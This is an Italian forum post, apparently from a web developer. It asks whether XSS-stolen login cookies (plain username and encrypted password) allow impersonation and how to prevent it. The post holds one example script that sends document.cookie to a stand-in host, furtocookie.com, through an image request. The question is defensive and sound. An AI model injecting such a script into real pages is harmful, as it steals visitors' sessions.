documentandomi un pò in giro ho capito che se un utente riesce ad immettere codice malevolo (prevalentemente js) all'interno di un mio sito ha la possibilità di "rubare" i cookie degli utenti che visualizzzano la pagina.
Infatti js riesce a leggere i cookie dell'oggetto cookie e pertanto se, ad esempio, in un commento ad una news si riuscisse ad inserire una cosa di questo tipo:
il sito furtocookie.com otterra i cookie dell'utente che visita la mia pagina. Da qui:codice:<script> var manda_cookie_tramite_img = new Image(); manda_cookie_tramite_img.src = "//furtocookie.com/?" + encodeURIcomponent(document.cookie); </script>
- necessita di filtrare gli input (strip_tags, htmlentities, etc etc)
- non salvare dati sensibili nei cookies
fin qui ci sono!!
IL PROBLEMA:
il mio sistema di login salva in un cookies l'username (in chiaro) e la password (criptata).
all'accesso al mio sito se isset i due cookies e questi corrispondono a quelli del db risulta essere loggato.
Ma poniamo il caso che malauguratamente un utente si impossessi sei due cookies sopra citati... può autoimpostarsi i cookie al suo browser e accedere cmq al mio sito spacciandosi per l'utente vittima del furto?
se si come prevenire il problema (sempre utilizzando i cookie)?